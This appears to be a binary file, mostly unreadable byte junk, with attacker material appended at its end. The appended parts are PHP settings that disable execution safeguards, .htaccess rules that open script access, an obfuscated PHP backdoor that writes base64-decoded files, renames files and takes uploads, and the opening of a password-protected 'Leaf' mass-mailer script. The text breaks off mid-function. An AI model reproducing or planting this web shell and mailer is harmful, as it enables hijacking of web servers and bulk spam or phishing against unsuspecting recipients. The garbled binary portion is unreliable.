賊_qhe-f4^z%nflsiwarmdjAN謁كnflsiwarmdnflsiwarmd~(5TҡNcVaw:_bs=ADaP_j۫߈HP@ayJ?X.x{O*;YU%nflsiwarmd퇇s Pcj[](y$މy]q*;֭X=,B*yya5H5H,75OnflsiwarmdbSGD-D#PulkrtqgfbexųJ_v\&TR?tCyFڵLt趄!r@/=Xj?仮mW9~X'ONd-".j#Qn,ߞf&fJAL}Vl}v)kkǍӤh4ѳ|~~3pһ	p}|Ŧ#K)+$	7lHm}#lkrtqgfbex{	K֣EJ`d ~Q7al*L
BSe {=T]@Q
nflsiwarmdtUx1bm ~xvӘVWh8ެAH,uL'5F*ǩlkrtqgfbexH3o bǗjܖ}JT8H17E^)WA냖˼ɭ(^꾫`d:M`ϲ{5oq+n[(32qvBISKGC
t@%XBnflsiwarmd5;9T@1(^t";DvVHءO |wġF[Dr&,^Qwu4SUHMu.3aUEry. ©A!!DŗS\NsԆ7&K3dM&vSΝVs5@oɅNlPᄯXEhYa/I|&#Ϩ=#\=v{윩tW o5~CxYZ!w
d 9hVqcXs+7a=-6w@ERtI|2QTXwnЋ֡RYܥ!ٳf)cKm"@gwjŰ͹#JkXXs	yY,@݌ nj*V0Zu5P;|&)csd`dW(%/&lkrtqgfbex䜰+Ď_h8_	ʦTSNzpi_ -8cn2N!5;a&d
gYw*73J/6e{[6J¿d{wTTX@nflsiwarmdnflsiwarmdNU*FXy_=uhSwפ$lD?.|e?Ν]!"gr^:XNh$Y/֕^a[7nN]{*@i9_nd#ٝ7'ƾ*(;S[`TOrjWP0Z{i _Q(3~-|(ұ/aLݲUp)fC$B.g31ǳ[N`]|{ř,bnSӓ@o; [h5'fѯ#~_TIj?MIҏ1DoFm#Tull3$?mX^}swoPnflsiwarmd	6	!y. &\(l};.jM+3MQ1X=8ش/0@i62nGL˵sߕ\.pFOV5%]HDxa{]d$}c7kh'܉tD9A2&̤|&S$MCQ'Tu2=3p{-G~{?g2̜`.%Bv{ ގy{
:*=zX#f={.c8/֬VR=Dx?թOpRE9~ S0ᚵXj|Gz ) @eY4MȽ o-CɎw~xɰ^_u7L#zޘ!Vt@9##ځ=36DvoW[t8W!@^|TI'UP85vCjhZ0C%fȪ,'Zj?MԣǂCmnG^R2|=o4TK}%lkrtqgfbexe{%qeT~fOr;Mz3^\p#IeEwnkxWSH@Ɓ2!iɏ=7'E![x 	MlQ~%!Dá_Fҙ~GAxb
ۄBWu:snEsEWu?db1cALJP̍j^]Ȼ oIqڅ'SjGdgK(-(i݈,޺V|

{!_?]虪1[p #_fu^i`-`9TT~q"_$Aox
-DrOD6\zrci/9wxьJJ|YRXLiW[Hx~Kf H=lÓ˴(OzU2{fmmL
&L"|Q˧ՒL:+ȒqOe&L.|n ~F&ZJfUx؝NZce)@nflsiwarmdчQ $1Īnv/߰O{aQ1?
 H'k:K޵4L2L}BN:lkrtqgfbexʗ zG;͞.t,LPX7n:S^m1uHϥO..ex]Klkrtqgfbex^E|nflsiwarmdCNC&"FA!B{=%JshS [N9eU;gK'X5sLQBlkrtqgfbex-
񿴨cil1(\nflsiwarmd1~lkrtqgfbexZpv	~^z}w
PD7@k	[
#Ov7[.) @2DYRe񩵔 U&6G5leeg-SaDxUICoeE	^\}E,E_NTlkrtqgfbexɷ:0(	ðeTcaj"4D2_́#ώ2_=?|%j 2_Ok7nflsiwarmdvF?2nflsiwarmdWC#(ph  {D5nflsiwarmd2|)K|1a(
lkrtqgfbex[^\Ud
Wx~m{yS_yW88i/*ph/Ud=ʔmox.s\f&""Bhmk6OVu[o@|]/i3 U@2Wg%eIyiK8:H!NKH}ךu4q18%T!9$9Pe.wi\Gxanglwt/5Rf-LgANeY7-/!awI 8Si;%+ 5S'oMVN~ػp:ٝ2dk|5b6'uPT_~o|4lkrtqgfbexwܐX2eN_D)(Zoկݛ?	t WJX'/2:lUQoxp`Ϸm񱟉OӎWD.acQxS?ɔ` MgXX?lkrtqgfbexu8Z3}¾mNg3r,z'Xבlkrtqgfbexş)r(覤=}UX2{H&ZĨ ի$+?g!Pnflsiwarmd9lkrtqgfbexORԉpKO^PeQFwSo =&ټ';.
?nflsiwarmd2sUQmػ
lKtWr"'x=rBuHSnt%6{lX]7\o#IX\=[
9f0T/yrlkrtqgfbexRG]}awZ;֮Uyz
{C5rEh Y8Pdxy誊vܥ,{}A!$:s_jC!dv0ATj*nflsiwarmd}`*!?bY0I
G8~od:7!(LbОQ4LnflsiwarmdOpXn^ˎ]VD^N?kX1ƻ+۵gHxmvT&S_`cFy癖|t^0O=1GDsBɅp[u)VhejPrgWG~ov%99р5 7hs͇o,.b+|nflsiwarmd/ԁQƇ}nXaQbQX2?A3{2Ov/ُfӰRJ-	5}Ñ65[{k2K`N eC:#.2z(lkrtqgfbexw7iۯɏs#q8jy7}Vz.÷E69O .Sâj3FzO'	-_W%ˊ
ЎLVx"	Dpq}UBOZioa fYI,
1d 6B.` oß|`C}(^L).ÛRyJAɒs

-ȬU3aUbDg|7fμx߀޲xW#|5MİJq0k~hՓ8'ΙHl,Y9V}?qz+~ph4([A)D3twX'|=ONJgK*6G&./_\P|v|SSDebPo31ɮ^sDdߓ후wǩy c9PL1wUSZuE`WƵ`K6Άi}փff*
wfD*p]
s.)Tc.p׷M*{/1Q!ey;,05|C{㣏Ga[T?yx^0lkrtqgfbex.s`p0J-nMPIӚ(#ه\X#@Υ3lAUh-:Patj͇	Fez!N8ǐ[#GdE`͒fMJgnCyO?Z__rjkI[LM1l~v®J^GtH߃iG#ydB#uo`Q*6AmIDӾT6LR(Zb#Dn{]Y?{o]	P.p,1Q``LFpF5##;seF0Nq8=Sy%Ȗ?Tj
ݭo佊=Ps"^
?x&	c_;B[YN#[RBݞ6)Oo@}Ĩ&ScuMuZ梯G̐CBbwJ5F-b݊/{`x.xLTIetfc|%ٞOedswd!5o^_:+lc9z7x}5zݾ1
|ZjzЍgiÌħQTͶ.*:{'mT:CJ0Y*lkrtqgfbextuG:G~ypPic[&rRC!xLY1)#Mq'+fKQjxϪ3oLoXIӏ4z^@ә
_#-lkrtqgfbex$ԃ̥ӝDInflsiwarmd++cNnflsiwarmdiA(unsf
6qlkrtqgfbex'\]&VP"s"\7PA6oo1`~)#O
f3)~Eq_f0Rf'5[
5:dvMxnflsiwarmd4W:C?rêEnytBnflsiwarmdPDAoBzpdG\~+m=41^O!\Y(*}Zux9v4׎Nxҷh;C#x?/ߦ`Eȵ&fO0oSzf/%rrm
S+H|ǀӗو(q4%\P(LuV6MÂ{:i닰k p,u%Πx{aDIUfԃi%gUh !Ց0?Fz4CeBŊnflsiwarmdjte-xE"|km;\
[pnkG%z˟i@&P_|fnflsiwarmd_ uu&r,Z;B5)
UAEzdMbnflsiwarmdTtcƩ=L 
ϼo:\1=@Ӕ7Y8L@z@,Ne$S3:O7w_v7)@=~loCivaxbnflsiwarmdƐ1`򤪄A
7w-	1I}͜KW~Pc:քx6ҧ蛪LI;	aTrɁlkrtqgfbexAJ:) 
F`|	
GIW\Vq|O|wwm|81V5Pgs䍃့D,xFP[LSX\l)/UxNxn$s'yRh/.wIO)n~,U'( j":)9kXxD9lkrtqgfbex5BML2
#N
3^;$DLUjpB˪uM]]w'=tBk6Y8U}	5Et/jQ9Ix:nB{J/2q d+$(r|fXu}ğSlkrtqgfbex&
bZ]LB$зKR=[ħIN7uUz7-7Lp  }3Qʤzy
3ʼrd%nflsiwarmdNdAmE
FPTXϚm]/X]g L4g]7њa}Ry Ra-D40:{MuH)He9@䂅+yXEz3:0@y$awF^G*L8^p;WЛOɏ:\(/M\sdu =V~zYxCaF*4jJXm2;5#4rQVF!/-ᐢ.[ 6~ bp@L^Llkrtqgfbexv=]H`)b1\.*Ztnflsiwarmd1MT'GW)fP=k4VvS,O+-^Qp^@Imо2($+0򫦜\;Խ_'?EY]qFaP`Kաo+r/J\ua᳻7P2E.\6z/8`,|p (8sq(ʹDnflsiwarmdHNPWKI;umO\p'C~;"B`=0!!bzXZ~w]_J唃sԡ''` R31Qu~!{_xbD҈k4$on_nflsiwarmdOO6/ŗ
"SeH@,1ʫ()ܰs*\^9TOWK\=_,'M}[|uaV4^dYrci YϹR88Go$1sHʹ0_n: lkrtqgfbexz$6\gEǻd3mlkrtqgfbext#IQ/RoU|LyC0s1| (
8KN	r4K{Ĥ
i6,gqRgP{
`_~{VGh%$bNxNKi?p ms0+\ܪcNl4VORmPX hfvyoWE -wulkrtqgfbexY%+kKi6*~/c3PQ;́fAy좓AԿof
(Ɠܟ	? /(u-Vb''=TAVdxSk3!ڛ1S\[)lW礠RrS	c߾沩v;Z9b"gbr20~$/Yrbxnflsiwarmd;j o՞[:&6$7Л)gwqX8wU]HlkrtqgfbexD +ޟuþUY-[4bt?Ӻ1f9h%R%(mlj~EfޔC1iRlo#Yu*^nflsiwarmdY(+Ղ,]{`KCa-*8H8Ű= ^1,E5)p '{UdלS5 \&D/q;_#Z4!
H"y\CppR\:oԈ5&2	U;j
JL@V~k%R"+2p%u,aRG
W5^' ZLhgM# 86a=ET|G!=meB}ER(3H~J?xvH2zS|,IW_li)~eϜAlW5^c8 l'L_7.-%]sO
)t.i#[^ϲ.`5(!hm28"?=WQڸhf.vYMp_c'lɏl/2`TejrL5\,	4_Unb'zױyleP@/;]nnflsiwarmdnflsiwarmd=u#Lx۰&0kj1W3+9][!gYr 4nflsiwarmda;Y j;
gQe)nflsiwarmd2xOlkrtqgfbex*:ⴏI|Z"ͧn,Ex
XU@	/rGPs}-'.wHc\ς^&3Lwٖi(}g(oxQ{3Cl/pf_0脔OtwREXGlkrtqgfbex4dqz2?d5[%Aܖ"~qIlQĈsv,+,P"FB8OԘw߾Wܒ|7&XdRSTvDpX7`=!snflsiwarmd}@T(|)7fZ9B0,ymHa"cdW-Ru`K	_4e^]Se
8 ?m$iaqf*Io $5'i4$jEBhX~O=ul)խғkH4,?\nO0s6h$)^e#V`T_wt
w0Plkrtqgfbex(G4T53Z(%X=ڣWh
ėՁ3 w+6q]c=21Y{0e:Xnȳ,9B[~yț.p) =B-}p.Ǭ5JlEwD@MLE9?$tʫ QLgnph}:AtUb{/V`BlkrtqgfbexOүFsLE)nuh;z%z%!Hz6Ƙw[OfB"Ċ-S[NEC#%alkrtqgfbexwJ5EfVX;='	J
آtK'[̡@lbxrPGzUNOk$2:6Gs]!|v42ܕN\۸=Df24@έ^Ւ[* B;@BFELLMڵ&E?alkrtqgfbexEǽvdrv@VeM
.%`ڴ^lkrtqgfbex7A5AYT
o,b`Mnflsiwarmd'%@PT3;'fZWmI|Rߦⷻ{F8R@Se?qM"tedhW$^+EEq
 4@!g+B몘$~a|LXPJ[xy1֩-2JBTՁ Cn̞`gH.zxC
kFr~/sC08	N*p}
S}f' mK+9jLϼx\mnflsiwarmd`Bu~z,._ҟjpQB|3m ^]2#+Xqwe$_ca؟W,Tu0*䨗60]z4sЭcy4S&Sk"kv+~6XxnflsiwarmdhC0I'Echh3pb7F}z	DҰU+_#ēb߬-
P~PشG6Tro~
ٛ- Ve]df{{;VדJI[4+;r57WKl1uHߎ+VYϰm?TF+vC,Wio|dD;tw~H%xų1b]WLx4mcw19ƉL4/G0"o&&m;%H/I~J8ʸ*ab~@=n#nflsiwarmdAJ|ts#@2мNJ!]zşkFWRk#(o$pS%hqru(ѓîOiYGlkrtqgfbexlkrtqgfbexf=OWiÉii;w+cSlzBЬ^4&߮ѩA6^Eɺ
E
/'nԘSyM9cϘqj(B)oT	ي6q,lkrtqgfbex[8x	)7BxE9o0K.EOT%h
=#lXՏU(& S
u7B9UHrd Kq5fPM8`;'҅GdpG:\;Wn"[1hwKV_@3b{j,.N~$nflsiwarmd2̔3Y
_],NBӎyo72
[B73MG]?ßv1fP1i'Y"7wdlkrtqgfbexvtowo`b-i
۸SY(r]9arnflsiwarmd3v%NytUӧ@ii =؎3qD%~V	Jw!?ɐ~:Rlkrtqgfbex4|BK8~Ld`KX]c( V*L֭sjـnflsiwarmdۀ|* me37	7ȯUkؠXh7hJqŽnflsiwarmd9=mWosd-=23"alkrtqgfbexe
qjtDL|2pL_!t)`OI[sg\4&/4}2[-K4GK3,lUHT~q!B0!BDnflsiwarmdSeFDinflsiwarmd!%L__#i5#nflsiwarmdA	Sjϻ;o6u8ۗҲ-NU\ʔ4e%^1re(d	۰t9um*{EdA?@5ē_4{F's'.QҨ
?WXTqc7YAbnRēP!2Ncfb,~-roR8.0T RkY-|W.lkrtqgfbex"
p -]z.m}LH R^w4=~1N7Ťw	)NtnflsiwarmdꕺkZi(@QH\+8R1d8K-.l5h?l1ހ5ɛ㓱,_ssB[%nflsiwarmdGMDnflsiwarmdGrR^¿=ŒǆSK((uRb}wz-0lN#vD5h! AQ̑z}@5@ ҝv/xLi$6HT3[AKYwa1iCOL:n.Qf/
M@f(a2wetmP%ȣ@0Q8ʜM/K7~!\
v  K *"fnflsiwarmd5W0lkrtqgfbexwB$\KT?WH /#4hq&9kVۥކ:_{`&7\}Y3 Ix/Mzy[4bFFnflsiwarmd,X+mjIlkrtqgfbexݧ2k#ՏDe|&tu!J`H5DT_,fOD3ul;U14tY-J/^hnkdc+X25NeatwQQqJ"`|9M֩6LI(S(#6($DLO.h햅9?hfjU7JeyEĶR¼Qnfy&QME7e7qI%
ty*6@M
sw9!7:J,3Q,QGɲSr^-0_q7(L~R4?aaR܄udBcy"Dm̛?"B;摹U5oktHˍ\|^ؚKfM\TeSDD,3	3 rh}7yB%%5?8(ܱKaLЗcl7qILqr#nflsiwarmd43/!-Yg@Lvqc6{s-6cۙۖnflsiwarmdv`OP=Ze,N?pH"Y4[Eݝ
YrҀ$rA^Ƙ;~slkrtqgfbex6+SjG4]% Uۨeӗnb;q?Vnrw{Z3f%u|3,7T 8NO:\¤ Ca}Ay.NŔ;	C͒&{K|?KWT4r] 7mi(@H4ខd+LD~	v~To!Qed7ڧVNlkrtqgfbex{q6Ku:`.*Hͼg~ygnflsiwarmdٴs=?
#H t*8u[6,*0bbW)xX@(#3Y9^4awFYI3yVshy'/[F}oxJ^QK8/4E
Q,W?o"}g/S) P-HJO	btd߂oMf N	qЈ))W9oMu!O+UO?
7H@Ig^Mj]nflsiwarmd@@bAPSLC G{c_u"|蜌,KCE8wO%TyſhWwh0pzc"U}ف
J{L{{N[FQK9\^&͏eH=v9YS#y|={Zܞ٭	N\s
#UAwV=&.ۨ͸VT:Xdk^xtpl9DJs56ߥ/GVJ9l
w!35 ;BXo~VL^BjhDVkŵXMnflsiwarmd%@[T=U9nz7}}W8G?ٚS\D;U_{BF,u?EzCKWsH{)-lkrtqgfbexތJP=iAY
i	,@SGr}"-e)=Ac=פX+G~iX~zSkor+%I!e}lkrtqgfbex nUEݱCBb\flp.3&'MInhP~N,PSg5'nflsiwarmd=Q.KStPJ8!%nflsiwarmd?לmB+Eݕo6YN+i]lkrtqgfbexW}I`)7io~B_)Wо|"C#Fm`Uxa$%V[
hc|L+Gx Zs/λwUOabW5C-GXbuZO){{Wkwdd	o	ٍ6(@QYpwvS f/*|aN%y~垷?٭@k0(i
^9=z})hvL5.X=rrF]	&EzjYwR-("WȏRpoW"v@y4d%Q;RTSz?YyΡwOY[ڹOu/. KZ`g/yW86DE*"t"f`AZv5gn8ɰ_lfuʁ֤=m{P?80N?IY" EC`hGTr'tX59H8U*'!yeB]m5w*xe|PI=Hv{]b P.'7Q(zzlkrtqgfbex=I/{{BqƳ2^TsӀU^]*:ȏȪzEpj{j/MitNZ	w3'nLYIjb]1'KyU"}fGa*@֯%;
ᑒDb%
'F
	B,@^^Կ2ysԕb9(xpMnflsiwarmd~KJeF(~=,F@HlkrtqgfbexYiLʩc-uؕ
P`J
%-ryBk4Z@}b%slkrtqgfbexw$C@ֶһf!؛:=cn
m$98VM,LLhE@DG"Ղ_4쇞%n1صeFlkrtqgfbex6?81bnnflsiwarmdӖ$eVLN꺞E@/ҾAGloYHJ'nCEo4~w2, Y?G&!^ LZMu=-ȩ57b7!x*AJ^948sv{H/9ekVAc 5hoo+.29Vę[ow q$| FL0SS!q&&EλA_|ٕSs$7n(#_Ȭ$YXsWQ$[;Ki$ݓڻs29Lh|H\Ulkrtqgfbex13uVOǞ""G@}du R~bbKtkmTYSr)ҿ0Yuk!FNDrmr):$	yYbx}CNU	X҆҄tUȇ|wQlkrtqgfbex.q:'9Q7S |d74wCud
WIgKu;e~[H$X2[r
H_]]ؠҌW {FYB&Ê-a(X3u2!{5o(DC^EZОS|'LrDԾ̳cDT'*`kzx4-Vlkrtqgfbexu	fpZdWR:(2;kX7ANU[\rNaҝFԱ#Ym׍zMDu_5Klkrtqgfbexٕnflsiwarmd8=Cy*۠?En\i(lGvS=!GNsH;G
R~jO6gx7o)-ݸBW յ؆LSΗ߽K]0ЋJ^'bb@R90H}Olkrtqgfbexbe,rRӖt?F}51*gE)P\m/A[uZC_m_}ɧYP~A0p~%W	n((-![8nflsiwarmd"wK_MwZo!$@i瀵b2Nv]bwEJXݯD;Ͻ"-H5ϩc.lkrtqgfbexwuo_!~ςXS$a-R0A(?pdA
:gIwxknzQVsnlBJ]-y}!xkoO~H2wUKa
cfa֑WrpɆD+D}U|KXjۭemk8-.eJYUnflsiwarmd_2(??M8MމFEP%Si=aio`JP~6Z+[Ѭ_pO?)HldZW8vGKgZYL%)9x
VN2+jEVz1Z7D({ǇZo6%%WUv	&?f  s,d!ojm+$#V |z=vUIUm`xcA$j\,27=lkrtqgfbex'C8[U`Y/Da"p6}zuO'}W-zN"uJct6皏=jE=w41ϖ?UXuhva#~AWC_{ߓ(6EKe ޥr.sbEf	MVv!2E\GRDv#A1{|2&23 PvvS}*6ÌrDnflsiwarmd6LXo*+ͩ~lkrtqgfbex1b{ HK
(ôPJSͷldçVY|Vn~}lkrtqgfbex cn9e\	:[F
zM`!h]殼s7~s+L%ߎƑtNP%nflsiwarmd?"MY4͉Bx8=d'q6{@&BGe-C'ޯ,nflsiwarmdHoԛj)?HX hSy#X"E7s
MjR_P\i(GNND]	_(*aM -[Scu+zQ|3SL?,5nflsiwarmdyo!InQ]lkrtqgfbexCȂQlkrtqgfbex$YVۀlkrtqgfbex;Uk?ԋ&5?5|*y96#dokG_@l{@5(kE^܍FpMmlkrtqgfbexsN,BPËdEw yLW%?Rnflsiwarmdu\Kd|ELo8!
դ+=&H.KsՊHX	lkrtqgfbex/#j`'e
ž'G&k׫'$qǶ.Plkrtqgfbexa#;sTd5#$fw0a2:݊}jc2
L
nflsiwarmd@s Ȧ\Cda,K8~DlkrtqgfbexG/q"tet?8ތD/6S&ZDnڝDыbYj\h^d!:h֔h^+
6P{M jًW' 0(Hc$Cnkrrq
tɖf.hW{a0#ȟrʏRFx$[q_`]oV:
)d)wôɰɃF6^ kOnflsiwarmd\YwM`n:$xuZlkrtqgfbex +:O
śEUn/+[^wA;b=T0.S]5J_br2M.t!!q~ʞςR$
#0Vz"g1.i~쁕5Ok.w1:mXD!+JпE%(P8'շ\}nflsiwarmd:LӃPgF"RŦg{j_xd L CNe
܂
;Tuuvgr/YgxS2/
Rq_/ \83avSrn\&#a&ad[YG#lkrtqgfbex:6Ŭrx9#ؤܷZt~/th+8^Inx93"K5%6[K%4)WN{IcT)
ti$AS2*Ocu1g	pKذϨ}eL)Gkn4b./(6iKobahGAz* |8[_5nflsiwarmdY.#ilkrtqgfbex4q7j]-RHo7u_LwMHe5sQ$doaֳiSᅈ;8OzS Iopzu4u2֕%RNq+5"]S0@鬹6 St_ǖ_7x 8
]BO?L-P#=U
Ct.}".*VjN, X8cAergOWIwDΘfF09gGROZu콗] 	Ǧ{t`t=dc_-L	ߠo5zb{~h~n'A[ht͝A~!pk[t'=%!gz*4S|4lkrtqgfbexx]_~ s+Y-ѫOs^XWp
FQKzsxPڄddc,غKD73&ZOtQ{FUf6(O%51뇚P|ʃ\|Ar*k6s͌1߿p,F9s)?!SP[)'U+T:XRia}MĚ7&6/CZXW'YkvuC.cAȳҋ T@qt}_+g`?Y-)[mQjlkrtqgfbexy
I%:p99c]3($8ހ?KԄ9\xnflsiwarmdzա&7'sV
+)BtUEmo~df&s!/.hm_`]{y5HlօQA07^)T4Oj1irBYiZцpf2v(-E_Ҵ"/im,0{{|NS lkrtqgfbex!
ح4_J|PǿI*Ct}
-0K
M5mxKv:?g8"O8Y|61_x-D(mj^%Yk	XB-8,D5|nflsiwarmdp{֮e3nflsiwarmdu?Qsv,Dl&'R?hr^BK nM%y[(N÷k3
`S8ecuY /I]w%AHw[㯶M6-[fSs}
,@߇%Nrk6 #zIGۣ/XQòeBѥ_3^Q5
(Vlv*4' eu+nflsiwarmdϒJhh*";_N[,5ѓcޖn'|P}S[%H]N6^Wg0Q"ڹ^^K#蘥!d5?=_lkrtqgfbexUU3
梴aLq^+5ɥV$;J4#+mNOwY_g
M.I21&Yߎ/nflsiwarmd!fqR
BvT쬼u#:iӕH`sJ L|ЉB(D %n
R r;r
Ο҄BpD@ !R ra/QONRUuP#g!B$u+؇	lr1葒6zd*	b+EeN|[;%ytmXVq^j'8r@X"\vo.8TQnflsiwarmdf%!+fk焘7[ όù,}6QSm r7|uu+K)4h_NWOàY%в]{,lkrtqgfbexq:mrg!gֲ.,iht޷]}?#'z37@x*ǟF"G:(C%FB8kp$V]m/qz77~)%&i*?P2ۤ+7k7f"=IL
]nflsiwarmd"7ؤ?|]n]PCDE}8ovgl$(]ؕå!Ffl̉&1fɠ&"Q
}4lI&%bFLV]e九#}?ޝʟ~9k5@C4˹0;YᒴQH  9+ˊ7m@LL3
8[*lkrtqgfbex/{nflsiwarmd
\|a@*Axm|4Qy|j'q%d-ng\8$g/`&aGG9HR_je^$::)Ј-sw0m(3gQнf5`dd8aq]h0ݴs@CTY+NCҐ⛾$Fl_EnflsiwarmduAtإѴPXE{x+Ӽm%jɰ;dr͊":lkrtqgfbexeSwC
`w_Mp¿͐D*	bq0M$:C
:p:p7gIB	S;1~o8ꔨ3ՋS#bwW%ULێ$b}M3Ӵ5cJxH28 esy,'IJfߏ2U06zi'VnX^3nflsiwarmd]MnflsiwarmdvsI	YGȾdlkrtqgfbex?0TLk|()
"ty=WUtonflsiwarmd/an7,Giq&dlkrtqgfbexLOO-܁컀'^eϛhKF{8-r\3@"#1fz&BأPɫ^'C} gU]ȕa@Zx4S=JK^Z~^&f¢JO0;SOx00lkrtqgfbexk͇J_b/1K2b6ƽ**^m`[Oi&P9ٺCݔ}
3v(E0N# Yh	p~Ure}Uۃ)dK+(Lv#RiQ6F6l08mՅ4
̫t [cb`\A2ϷlλKRjzXlkrtqgfbexDhg("E^.mh[܎}[|R$0hcWl)?ڄt@cCoY[8UG$ژ b ,(_尗ߪ.j*?
HBQ~@QNX]b˕ҿno[Y~{7"/tp	|
L.qpy{31?M6;flkrtqgfbex9!f&94RhOɝ4YOCv~T6yս]x
"aq;nflsiwarmd7
ݘi:ް:vILMnflsiwarmdoiݳ)eFq$PEJM# {b ^lkrtqgfbexS1mN.4Wݽp?u';/J1\9.{BZlXAnflsiwarmd4مVf'lkrtqgfbexBp|*
˲^[};
`b]$ӛQiF;.Yg
ue	I#C-]ߴ#Prz%(Cxɰ	Mەz[|-}(kw-3:|ADA~lBC!Qy̺3IM!
.rOKx.6e{J~M !5UTfZ0܅ߠ!AEnX'{рJ,w1(pNT)~0R}ءIX@#!{["*AEuԭ38 }2~{_B^!ܾ
|AhlqF,\jB9vdN4`:ƚ3~Kw(yO\; Hq;5o
x~L[Ȏ_MxuH	3p.#;kև*klkrtqgfbex)^nk\E8;R1Jגw(})6ނoh{.n袴nflsiwarmd樰o#qea4ŕ?
Z5U9 8N]l+z7ڪjzB2?]&i@Hg7f!3vXGi*א/ C1Uz4$F	xMv7?dJضdmW%T[
(B63g"?/廝n'm(v dӞ&"c\nflsiwarmd@- Rj*2@1?~L;he, )R~1Toq?7X
J\VO	`QMf&nflsiwarmdD%Oǎ؄(C(;_
q623ɥT47pxȤ&.!I
bqnhE,Vb@t.$./X-w}j_ԴOԽώOwR}yFE0nflsiwarmdxYb}(9;tFT
Zn\t9Ϧ$瑑rԺ;Sb˥TUr75+q vTcȐˍC~*LdRxP:VRilkrtqgfbex&Z?肈OiG5Z_{r c/Ɵlkrtqgfbexvh[8!#kj$=w&~AU`_e|cH5lkrtqgfbex0?mpWvrm	/7}{cTͧa@ea 01d~!6CE"UXRZv3ϾڃQ&yOk3jhQYT-ыdB0nflsiwarmd`R~($^к
~@i|8$N|#XLҫ# gi?mwJ慅	H@TqJGm%mhN4"XRfp%&3~TH
/ك}_"PXnE8ZPNf߇;Oz㿘TEOy#|
}N
pv^j+5u&\.2qh	ln aߎRޛҐFDAb!W	=ZZ)t#B?ۯse/紿I!zU7xOlkrtqgfbex^ƵelzSu*
oT-͠#CF 	Y[ڞ׋pmc)w"J7cmYߐپđ^ػV4#ju{h	0bNwhOYqBY'JaX+抿[s@jc)ozQ!/锝B]":j('kItsލ=g]}7VW-4ժC}N^[wIA-uv_0Vm0#1KithQ92EH~~{:PB)d=PM_I;V+oXطnr'j* /ڴeWyߩ՚TX Z*2'uuj-A#kmU2aJ
;&+yqi_F.
1Pbz_ezkkWOa%JXtN-g) n{oW0s38lkrtqgfbexS{˖yrGsLMkiPɼ4s^~zћay*dYxýq_11bhBq:XM[U:lkrtqgfbexؑ/7FOHU}I!Ժ#~?"F|R8n6	
ݩlvԴg&$"mulkrtqgfbex#8S͐ݱ8nflsiwarmdl+M(
bF6zHu['nflsiwarmdjc0UnflsiwarmdUkxelkrtqgfbexv#a7o"|lڱnflsiwarmd)@׎u9
[eE`)2w{(uj5	,,hS6͈(r5*`Pȁ{ҒǑtUn=\Bg(=BDwMI,ma:|F*7 `zXC
Lwy "snflsiwarmdpJ|0h-v_ab7IAdS
lٯ3ߊV5H$|nFl\:yB]]+?~iٶ,
YﮓRQ$
R$*|QSi@KOU/uYBgZ[%d_V=pd2d
:9s{fYY_nflsiwarmd7eڥA-e?ai"gC%(A(Wqizݮ󹽈C 0wY18 IgIOr1
_Z-.XDLW1
Jlkrtqgfbex!ꔞzAٽA/U	BFBh,˂L?ތE~Ba!'
xu"MX9ګe}7?P$Rûgo1fi-
zYH^)19֗;-\M1%Fd^G`I#Mq[2:ٌu9A#Xm[WYd
l&=Lp{ڤ!@3
(9i(?F-Sf~Wv\.Pɚf{=\iq[\kqg?hbQm)YSa2|W mШBypRij-eJFq߮ϱ*8_2zEgX#&Y3lUeA'0?Qu3K 1mFU&+q{y_!L.
^sZFnflsiwarmd%&ϊŧ n`2dRJ%myB'9/YWY;VFc
0{JXUY:|zwp%8|+o-:5owhnflsiwarmd.n&G9fW1F, _?&;Łq~}EۖS{`}Dobƶ,K[M1]Ofo%y:+IMnflsiwarmd6slkrtqgfbexprcmJ}rd/EwgUy:߭*"y~Vn**5co hg28G+Nh9vX5.	5|(wJ&L&?t, 
|]L]nflsiwarmd2"I1Gm`F;{;&M'zn!8C[VWHa9nGϰC,J
	5Vkcs
PQJnflsiwarmd4!AEoI1C,ngs"؇:,]cܩW+mD6M_,S.{]JZӜ콙yn-a7ݠk?`-&ARۢdnflsiwarmdawcNj`Jd߈^"T]nflsiwarmdllkrtqgfbexFN
h{Ilkrtqgfbexc4.gzh\ia-nWz:ԭgը;Ush&Q9E0~Fㄧqtaҝ9r|oiBh@Nn7.$?Wjp3")nflsiwarmd4eIU2)f9oBDb	AOn︍
hISwQ"W?M'˼ES"^8(Ő
&"Z쵃G3HC$(^2";/(lkrtqgfbexhE!9dH4abwBAg雱.PpZM0}څsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>



Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'base'.'64'.'_d'.'ecode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php

$password = "BgeF5EUqHRx";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
